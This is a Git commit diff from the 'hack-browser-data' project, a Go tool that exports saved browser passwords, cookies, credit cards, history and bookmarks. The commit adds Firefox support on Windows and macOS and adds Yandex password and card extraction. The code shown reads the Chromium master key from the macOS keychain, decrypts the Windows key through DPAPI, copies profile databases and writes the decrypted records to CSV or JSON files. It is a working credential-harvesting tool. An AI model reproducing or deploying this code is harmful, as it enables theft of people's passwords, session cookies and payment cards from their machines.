feat-dev: support firefox for windows and macos

pull/125/head
ᴍᴏᴏɴD4ʀᴋ 3 years ago
parent 88fe9c96db
commit 4d444891ab
  1. 4
      .gitignore
  2. 184
      cmd/cmd.go
  3. 1
      cmd/hackbrowserdata/main.go
  4. 24
      core/data/output.go
  5. 2
      core/data/parse.go
  6. 2
      go.mod
  7. 216
      pkg/browser/browser.go
  8. 11
      pkg/browser/browser_darwin.go
  9. 1
      pkg/browser/browser_linux.go
  10. 20
      pkg/browser/browser_test.go
  11. 98
      pkg/browser/browser_windows.go
  12. 2
      pkg/browser/consts/filename.go
  13. 2
      pkg/browser/data/bookmark.go
  14. 22
      pkg/browser/item.go
  15. 2
      pkg/browser/outputter/outputter.go
  16. 1
      pkg/decrypter/decrypt_windows.go
  17. 4
      utils/utils.go

4
.gitignore vendored

@ -185,3 +185,7 @@ History
*.sqlite-shm
*.sqlite-wal
Chromium*
Firefox*
result/
results/

@ -1,12 +1,13 @@
package cmd
import (
"fmt"
"os"
"strings"
"hack-browser-data/core"
"hack-browser-data/pkg/browser"
"hack-browser-data/pkg/browser/outputter"
"hack-browser-data/pkg/log"
"hack-browser-data/utils"
"github.com/urfave/cli/v2"
)
@ -18,7 +19,6 @@ var (
verbose bool
compress bool
customProfilePath string
customKeyPath string
)
func Execute() {
@ -30,16 +30,15 @@ func Execute() {
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(browser.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
&cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
&cli.StringFlag{Name: "key-file-path", Aliases: []string{"k"}, Destination: &customKeyPath, Value: "", Usage: "custom key file path"},
},
HideHelpCommand: true,
Action: func(c *cli.Context) error {
Action: func(ctx *cli.Context) error {
var (
browsers []core.Browser
browsers []browser.Browser
err error
)
if verbose {
@ -47,69 +46,38 @@ func Execute() {
} else {
log.InitLog("error")
}
if customProfilePath != "" {
browsers, err = core.PickCustomBrowser(browserName, customProfilePath, customKeyPath)
if err != nil {
log.Error(err)
}
} else {
// default select all browsers
browsers, err = core.PickBrowser(browserName)
if err != nil {
log.Error(err)
}
}
err = utils.MakeDir(exportDir)
if err != nil {
log.Error(err)
}
for _, browser := range browsers {
err := browser.InitSecretKey()
if err != nil {
log.Error(err)
}
// default select all items
// you can get single item with browser.GetItem(itemName)
items, err := browser.GetAllItems()
if err != nil {
log.Error(err)
}
name := browser.GetName()
key := browser.GetSecretKey()
for _, item := range items {
err := item.CopyDB()
if err != nil {
log.Error(err)
browsers = browser.PickBrowsers(browserName)
output := outputter.NewOutPutter(outputFormat)
if err := output.MakeDir(exportDir); err != nil {
panic(err)
}
switch browser.(type) {
case *core.Chromium:
err := item.ChromeParse(key)
if err != nil {
log.Error(err)
for _, b := range browsers {
fmt.Printf("%+v\n", b)
if err := b.CopyItemFileToLocal(); err != nil {
panic(err)
}
case *core.Firefox:
err := item.FirefoxParse()
masterKey, err := b.GetMasterKey()
if err != nil {
log.Error(err)
fmt.Println(err)
}
browserName := b.GetName()
multiData := b.GetBrowsingData()
for _, data := range multiData {
if err := data.Parse(masterKey); err != nil {
fmt.Println(err)
}
err = item.Release()
filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), outputFormat)
file, err := output.CreateFile(exportDir, filename)
if err != nil {
log.Error(err)
panic(err)
}
err = item.OutPut(outputFormat, name, exportDir)
if err != nil {
log.Error(err)
if err := output.Write(data, file); err != nil {
panic(err)
}
}
}
if compress {
err = utils.Compress(exportDir)
if err != nil {
log.Error(err)
}
}
return nil
return err
},
}
err := app.Run(os.Args)
@ -117,3 +85,99 @@ func Execute() {
log.Error(err)
}
}
// func Execute() {
// app := &cli.App{
// Name: "hack-browser-data",
// Usage: "Export passwords/cookies/history/bookmarks from browser",
// UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
// Version: "0.3.7",
// Flags: []cli.Flag{
// &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
// &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
// &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
// &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
// &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
// &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
// },
// HideHelpCommand: true,
// Action: func(c *cli.Context) error {
// var (
// browsers []core.Browser
// err error
// )
// if verbose {
// log.InitLog("debug")
// } else {
// log.InitLog("error")
// }
// if customProfilePath != "" {
// browsers, err = core.PickCustomBrowser(browserName, customProfilePath, customKeyPath)
// if err != nil {
// log.Error(err)
// }
// } else {
// // default select all browsers
// browsers, err = core.PickBrowser(browserName)
// if err != nil {
// log.Error(err)
// }
// }
// err = utils.MakeDir(exportDir)
// if err != nil {
// log.Error(err)
// }
// for _, browser := range browsers {
// err := browser.InitSecretKey()
// if err != nil {
// log.Error(err)
// }
// // default select all items
// // you can get single item with browser.GetItem(itemName)
// items, err := browser.GetAllItems()
// if err != nil {
// log.Error(err)
// }
// name := browser.GetName()
// key := browser.GetSecretKey()
// for _, item := range items {
// err := item.CopyDB()
// if err != nil {
// log.Error(err)
// }
// switch browser.(type) {
// case *core.Chromium:
// err := item.ChromeParse(key)
// if err != nil {
// log.Error(err)
// }
// case *core.Firefox:
// err := item.FirefoxParse()
// if err != nil {
// log.Error(err)
// }
// }
// err = item.Release()
// if err != nil {
// log.Error(err)
// }
// err = item.OutPut(outputFormat, name, exportDir)
// if err != nil {
// log.Error(err)
// }
// }
// }
// if compress {
// err = utils.Compress(exportDir)
// if err != nil {
// log.Error(err)
// }
// }
// return nil
// },
// }
// err := app.Run(os.Args)
// if err != nil {
// log.Error(err)
// }
// }

@ -1 +0,0 @@
package hackbrowserdata

@ -17,7 +17,7 @@ var (
)
func (b *bookmarks) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "json")
filename := utils.FormatFilename(dir, browser, "bookmark", "json")
sort.Slice(b.bookmarks, func(i, j int) bool {
return b.bookmarks[i].ID < b.bookmarks[j].ID
})
@ -30,7 +30,7 @@ func (b *bookmarks) outPutJson(browser, dir string) error {
}
func (h *historyData) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "json")
filename := utils.FormatFilename(dir, browser, "history", "json")
sort.Slice(h.history, func(i, j int) bool {
return h.history[i].VisitCount > h.history[j].VisitCount
})
@ -43,7 +43,7 @@ func (h *historyData) outPutJson(browser, dir string) error {
}
func (d *downloads) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download", "json")
filename := utils.FormatFilename(dir, browser, "download", "json")
err := writeToJson(filename, d.downloads)
if err != nil {
return err
@ -53,7 +53,7 @@ func (d *downloads) outPutJson(browser, dir string) error {
}
func (p *passwords) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "json")
filename := utils.FormatFilename(dir, browser, "password", "json")
err := writeToJson(filename, p.logins)
if err != nil {
return err
@ -63,7 +63,7 @@ func (p *passwords) outPutJson(browser, dir string) error {
}
func (c *cookies) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "json")
filename := utils.FormatFilename(dir, browser, "cookie", "json")
err := writeToJson(filename, c.cookies)
if err != nil {
return err
@ -73,7 +73,7 @@ func (c *cookies) outPutJson(browser, dir string) error {
}
func (c *creditCards) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "credit", "json")
filename := utils.FormatFilename(dir, browser, "credit", "json")
err := writeToJson(filename, c.cards)
if err != nil {
return err
@ -104,7 +104,7 @@ func writeToJson(filename string, data interface{}) error {
}
func (b *bookmarks) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "csv")
filename := utils.FormatFilename(dir, browser, "bookmark", "csv")
if err := writeToCsv(filename, b.bookmarks); err != nil {
return err
}
@ -113,7 +113,7 @@ func (b *bookmarks) outPutCsv(browser, dir string) error {
}
func (h *historyData) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "csv")
filename := utils.FormatFilename(dir, browser, "history", "csv")
if err := writeToCsv(filename, h.history); err != nil {
return err
}
@ -122,7 +122,7 @@ func (h *historyData) outPutCsv(browser, dir string) error {
}
func (d *downloads) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download", "csv")
filename := utils.FormatFilename(dir, browser, "download", "csv")
if err := writeToCsv(filename, d.downloads); err != nil {
return err
}
@ -131,7 +131,7 @@ func (d *downloads) outPutCsv(browser, dir string) error {
}
func (p *passwords) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "csv")
filename := utils.FormatFilename(dir, browser, "password", "csv")
if err := writeToCsv(filename, p.logins); err != nil {
return err
}
@ -140,7 +140,7 @@ func (p *passwords) outPutCsv(browser, dir string) error {
}
func (c *cookies) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "csv")
filename := utils.FormatFilename(dir, browser, "cookie", "csv")
var tempSlice []cookie
for _, v := range c.cookies {
tempSlice = append(tempSlice, v...)
@ -153,7 +153,7 @@ func (c *cookies) outPutCsv(browser, dir string) error {
}
func (c *creditCards) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "credit", "csv")
filename := utils.FormatFilename(dir, browser, "credit", "csv")
var tempSlice []card
for _, v := range c.cards {
tempSlice = append(tempSlice, v...)

@ -159,7 +159,7 @@ func (b *bookmarks) FirefoxParse() error {
b.bookmarks = append(b.bookmarks, bookmark{
ID: id,
Name: title,
Type: utils.BookMarkType(bType),
Type: utils.BookmarkType(bType),
URL: bookmarkUrl,
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})

@ -1,6 +1,6 @@
module hack-browser-data
go 1.14
go 1.16
require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9

@ -12,17 +12,40 @@ import (
"hack-browser-data/pkg/browser/data"
)
type Browser interface {
GetName() string
GetMasterKey() ([]byte, error)
GetBrowsingData() []data.BrowsingData
CopyItemFileToLocal() error
}
var (
// home dir path not for android and ios
homeDir, _ = os.UserHomeDir()
)
func PickBrowsers(name string) {
func PickBrowsers(name string) []Browser {
var browsers []Browser
chromiumList := pickChromium(name)
for _, b := range chromiumList {
if b != nil {
browsers = append(browsers, b)
}
}
firefoxList := pickFirefox(name)
for _, b := range firefoxList {
if b != nil {
browsers = append(browsers, b)
}
}
return browsers
}
func PickChromium(name string) []*chromium {
var browsers []*chromium
func pickChromium(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
for _, choice := range chromiumList {
@ -45,25 +68,21 @@ func PickChromium(name string) []*chromium {
return nil
}
func PickFirefox(name string) []*firefox {
var browsers []*firefox
func pickFirefox(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
for _, v := range firefoxList {
b, err := newFirefox(v.browserInfo, v.items)
multiFirefox, err := newMultiFirefox(v.browserInfo, v.items)
if err != nil {
panic(err)
}
// b := v.New(v.browserInfo, v.items)
browsers = append(browsers, b...)
for _, browser := range multiFirefox {
browsers = append(browsers, browser)
}
}
return browsers
}
// if choice, ok := browserList[name]; ok {
// b := choice.New(choice.browserInfo, choice.items)
// browsers = append(browsers, b)
// return browsers
// }
return nil
}
@ -73,25 +92,6 @@ type chromium struct {
itemPaths map[item]string
}
func (c *chromium) GetProfilePath() string {
return c.browserInfo.profilePath
}
func (c *chromium) GetStorageName() string {
return c.browserInfo.storage
}
func (c *chromium) GetBrowserName() string {
return c.browserInfo.name
}
type firefox struct {
browserInfo *browserInfo
items []item
itemPaths map[item]string
multiItemPaths map[string]map[item]string
}
// NewBrowser 根据浏览器信息生成 Browser Interface
func newChromium(info *browserInfo, items []item) (*chromium, error) {
c := &chromium{
@ -106,8 +106,57 @@ func newChromium(info *browserInfo, items []item) (*chromium, error) {
return c, err
}
func (c *chromium) GetName() string {
return c.browserInfo.name
}
func (c *chromium) GetBrowsingData() []data.BrowsingData {
var browsingData []data.BrowsingData
for item := range c.itemPaths {
d := item.NewBrowsingData()
if d != nil {
browsingData = append(browsingData, d)
}
}
return browsingData
}
func (c *chromium) CopyItemFileToLocal() error {
for item, sourcePath := range c.itemPaths {
var dstFilename = item.FileName()
locals, _ := filepath.Glob("*")
for _, v := range locals {
if v == dstFilename {
err := os.Remove(dstFilename)
// TODO: Should Continue all iteration error
if err != nil {
return err
}
}
}
// TODO: Handle read file error
sourceFile, err := ioutil.ReadFile(sourcePath)
if err != nil {
fmt.Println(err.Error())
}
err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
if err != nil {
return err
}
}
return nil
}
type firefox struct {
browserInfo *browserInfo
items []item
itemPaths map[item]string
multiItemPaths map[string]map[item]string
}
// newFirefox
func newFirefox(info *browserInfo, items []item) ([]*firefox, error) {
func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
f := &firefox{
browserInfo: info,
items: items,
@ -125,7 +174,6 @@ func newFirefox(info *browserInfo, items []item) ([]*firefox, error) {
},
items: items,
itemPaths: value,
// multiItemPaths: value,
})
}
return firefoxList, nil
@ -138,7 +186,7 @@ func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[ite
return multiItemPaths, err
}
func (f *firefox) copyItemFileToLocal() error {
func (f *firefox) CopyItemFileToLocal() error {
for item, sourcePath := range f.itemPaths {
var dstFilename = item.FileName()
locals, _ := filepath.Glob("*")
@ -163,39 +211,6 @@ func (f *firefox) copyItemFileToLocal() error {
}
}
return nil
// for name, itemPaths := range f.multiItemPaths {
// for item, path := range itemPaths {
// var dstFilename = item.FileName()
// locals, _ := filepath.Glob("*")
// for _, v := range locals {
// if v == dstFilename {
// // TODO: Should Continue all iteration error
// err := os.Remove(dstFilename)
// if err != nil {
// return err
// }
// }
// }
// }
// // if v == dstFilename {
// // err := os.Remove(dstFilename)
// // if err != nil {
// // return err
// // }
// // }
// // }
// //
// // // TODO: Handle read file name error
// // sourceFile, err := ioutil.ReadFile(sourcePath)
// // if err != nil {
// // fmt.Println(err.Error())
// // }
// // err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
// // if err != nil {
// // return err
// // }
// }
// return nil
}
func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) filepath.WalkFunc {
@ -239,49 +254,11 @@ func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string,
return itemPaths, err
}
func (c *chromium) copyItemFileToLocal() error {
for item, sourcePath := range c.itemPaths {
var dstFilename = item.FileName()
locals, _ := filepath.Glob("*")
for _, v := range locals {
if v == dstFilename {
err := os.Remove(dstFilename)
// TODO: Should Continue all iteration error
if err != nil {
return err
}
}
}
// TODO: Handle read file name error
sourceFile, err := ioutil.ReadFile(sourcePath)
if err != nil {
fmt.Println(err.Error())
}
err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
if err != nil {
return err
}
}
return nil
}
func (c *chromium) GetBrowsingData() []data.BrowsingData {
var browsingData []data.BrowsingData
for item := range c.itemPaths {
if item != chromiumKey {
d := item.NewBrowsingData()
browsingData = append(browsingData, d)
}
}
return browsingData
}
func (f *firefox) GetMasterKey() ([]byte, error) {
return f.browserInfo.masterKey, nil
}
func (f *firefox) GetBrowserName() string {
func (f *firefox) GetName() string {
return f.browserInfo.name
}
@ -295,6 +272,16 @@ func (f *firefox) GetBrowsingData() []data.BrowsingData {
}
return browsingData
}
func ListBrowser() []string {
var l []string
for c := range chromiumList {
l = append(l, c)
}
for f := range firefoxList {
l = append(l, f)
}
return l
}
type browserInfo struct {
name string
@ -307,6 +294,7 @@ const (
chromeName = "Chrome"
edgeName = "Edge"
firefoxName = "Firefox"
yandexName = "Yandex"
)
var defaultFirefoxItems = []item{
@ -321,6 +309,18 @@ var defaultFirefoxItems = []item{
firefoxExtension,
}
var defaultYandexItems = []item{
chromiumKey,
yandexPassword,
chromiumCookie,
chromiumBookmark,
chromiumHistory,
chromiumDownload,
yandexCreditCard,
chromiumLocalStorage,
chromiumExtension,
}
var defaultChromiumItems = []item{
chromiumKey,
chromiumPassword,

@ -18,12 +18,10 @@ var (
"chrome": {
browserInfo: chromeInfo,
items: defaultChromiumItems,
// New: newBrowser,
},
"edge": {
browserInfo: edgeInfo,
items: defaultChromiumItems,
// New: newBrowser,
},
}
firefoxList = map[string]struct {
@ -47,7 +45,7 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
stdout, stderr bytes.Buffer
)
// $ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.GetStorageName())
cmd = exec.Command("security", "find-generic-password", "-wa", c.browserInfo.storage)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
@ -66,7 +64,7 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
c.browserInfo.masterKey = key
return c.browserInfo.masterKey, nil
return key, nil
}
var (
@ -82,7 +80,7 @@ var (
}
firefoxInfo = &browserInfo{
name: firefoxName,
profilePath: fireFoxProfilePath,
profilePath: firefoxProfilePath,
}
)
@ -98,8 +96,9 @@ const (
coccocProfilePath = "/Library/Application Support/Coccoc/"
yandexProfilePath = "/Library/Application Support/Yandex/YandexBrowser/"
fireFoxProfilePath = "/Library/Application Support/Firefox/Profiles/"
firefoxProfilePath = "/Library/Application Support/Firefox/Profiles/"
)
const (
chromeStorageName = "Chrome"
chromeBetaStorageName = "Chrome"

@ -0,0 +1 @@
package browser

@ -5,10 +5,12 @@ import (
"testing"
"hack-browser-data/pkg/browser/outputter"
"hack-browser-data/pkg/log"
)
func TestPickChromium(t *testing.T) {
browsers := PickChromium("all")
browsers := pickChromium("chrome")
log.InitLog("debug")
filetype := "json"
dir := "result"
output := outputter.NewOutPutter(filetype)
@ -17,21 +19,16 @@ func TestPickChromium(t *testing.T) {
}
for _, b := range browsers {
fmt.Printf("%+v\n", b)
if err := b.copyItemFileToLocal(); err != nil {
if err := b.CopyItemFileToLocal(); err != nil {
panic(err)
}
masterKey, err := b.GetMasterKey()
if err != nil {
fmt.Println(err)
}
browserName := b.GetBrowserName()
browserName := b.GetName()
multiData := b.GetBrowsingData()
// TODO: 优化获取 Data 逻辑
for _, data := range multiData {
if data == nil {
fmt.Println(data)
continue
}
if err := data.Parse(masterKey); err != nil {
fmt.Println(err)
}
@ -48,7 +45,7 @@ func TestPickChromium(t *testing.T) {
}
func TestPickFirefox(t *testing.T) {
browsers := PickFirefox("all")
browsers := pickFirefox("all")
filetype := "json"
dir := "result"
output := outputter.NewOutPutter(filetype)
@ -57,16 +54,15 @@ func TestPickFirefox(t *testing.T) {
}
for _, b := range browsers {
fmt.Printf("%+v\n", b)
if err := b.copyItemFileToLocal(); err != nil {
if err := b.CopyItemFileToLocal(); err != nil {
panic(err)
}
masterKey, err := b.GetMasterKey()
if err != nil {
fmt.Println(err)
}
browserName := b.GetBrowserName()
browserName := b.GetName()
multiData := b.GetBrowsingData()
// TODO: 优化获取 Data 逻辑
for _, data := range multiData {
if err := data.Parse(masterKey); err != nil {
fmt.Println(err)

@ -0,0 +1,98 @@
package browser
import (
"encoding/base64"
"errors"
"github.com/tidwall/gjson"
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/pkg/decrypter"
"hack-browser-data/utils"
)
var (
chromiumList = map[string]struct {
browserInfo *browserInfo
items []item
}{
"chrome": {
browserInfo: chromeInfo,
items: defaultChromiumItems,
},
"edge": {
browserInfo: edgeInfo,
items: defaultChromiumItems,
},
"yandex": {
browserInfo: yandexInfo,
items: defaultYandexItems,
},
}
firefoxList = map[string]struct {
browserInfo *browserInfo
items []item
}{
"firefox": {
browserInfo: firefoxInfo,
items: defaultFirefoxItems,
},
}
)
var (
errDecodeMasterKeyFailed = errors.New("decode master key failed")
)
func (c *chromium) GetMasterKey() ([]byte, error) {
keyFile, err := utils.ReadFile(consts.ChromiumKeyFilename)
if err != nil {
return nil, err
}
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, errDecodeMasterKeyFailed
}
c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:])
return c.browserInfo.masterKey, err
}
return nil, nil
}
var (
chromeInfo = &browserInfo{
name: chromeName,
profilePath: chromeProfilePath,
}
edgeInfo = &browserInfo{
name: edgeName,
profilePath: edgeProfilePath,
}
yandexInfo = &browserInfo{
name: yandexName,
profilePath: edgeProfilePath,
}
firefoxInfo = &browserInfo{
name: firefoxName,
profilePath: firefoxProfilePath,
}
)
const (
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/"
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/"
chromiumProfilePath = "/AppData/Local/Chromium/User Data/"
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/"
braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/"
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/"
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/"
yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles"
)

@ -20,7 +20,7 @@ const (
FirefoxData = "places.sqlite"
UnknownItem = "unknown item"
UnSupportItem = "unsupport item"
UnsupportedItem = "unsupported item"
)
// item's renamed filename

@ -96,7 +96,7 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
*f = append(*f, bookmark{
ID: id,
Name: title,
Type: utils.BookMarkType(bType),
Type: utils.BookmarkType(bType),
URL: url,
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})

@ -67,13 +67,13 @@ func (i item) DefaultName() string {
case firefoxDownload:
return consts.FirefoxData
case firefoxLocalStorage:
return consts.UnSupportItem
return consts.UnsupportedItem
case firefoxCreditCard:
return consts.UnSupportItem
return consts.UnsupportedItem
case firefoxHistory:
return consts.FirefoxData
case firefoxExtension:
return consts.UnSupportItem
return consts.UnsupportedItem
default:
return consts.UnknownItem
}
@ -98,7 +98,11 @@ func (i item) FileName() string {
case chromiumHistory:
return consts.ChromiumHistoryFilename
case chromiumExtension:
return consts.UnSupportItem
return consts.UnsupportedItem
case yandexPassword:
return consts.ChromiumPasswordFilename
case yandexCreditCard:
return consts.ChromiumCreditFilename
case firefoxKey4:
return consts.FirefoxKey4Filename
case firefoxPassword:
@ -110,13 +114,13 @@ func (i item) FileName() string {
case firefoxDownload:
return consts.FirefoxDownloadFilename
case firefoxLocalStorage:
return consts.UnSupportItem
return consts.UnsupportedItem
case firefoxCreditCard:
return consts.UnSupportItem
return consts.UnsupportedItem
case firefoxHistory:
return consts.FirefoxHistoryFilename
case firefoxExtension:
return consts.UnSupportItem
return consts.UnsupportedItem
default:
return consts.UnknownItem
}
@ -142,6 +146,10 @@ func (i item) NewBrowsingData() data.BrowsingData {
return nil
case chromiumHistory:
return &data.ChromiumHistory{}
case yandexPassword:
return &data.ChromiumPassword{}
case yandexCreditCard:
return &data.ChromiumCreditCard{}
case firefoxPassword:
return &data.FirefoxPassword{}
case firefoxCookie:

@ -3,7 +3,6 @@ package outputter
import (
"encoding/csv"
"errors"
"fmt"
"io"
"os"
"path/filepath"
@ -73,7 +72,6 @@ func (o *outPutter) CreateFile(dirname, filename string) (*os.File, error) {
var err error
p := filepath.Join(dirname, filename)
file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
fmt.Println(err)
if err != nil {
return nil, err
}

@ -54,6 +54,7 @@ func (b *dataBlob) ToByteArray() []byte {
return d
}
// DPApi
// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
func DPApi(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")

@ -23,7 +23,7 @@ func IntToBool(a int) bool {
return true
}
func BookMarkType(a int64) string {
func BookmarkType(a int64) string {
switch a {
case 1:
return "url"
@ -66,7 +66,7 @@ func WriteFile(filename string, data []byte) error {
return err
}
func FormatFileName(dir, browser, filename, format string) string {
func FormatFilename(dir, browser, filename, format string) string {
r := strings.Replace(strings.TrimSpace(strings.ToLower(browser)), " ", "_", -1)
p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format))
return p

Loading…
Cancel
Save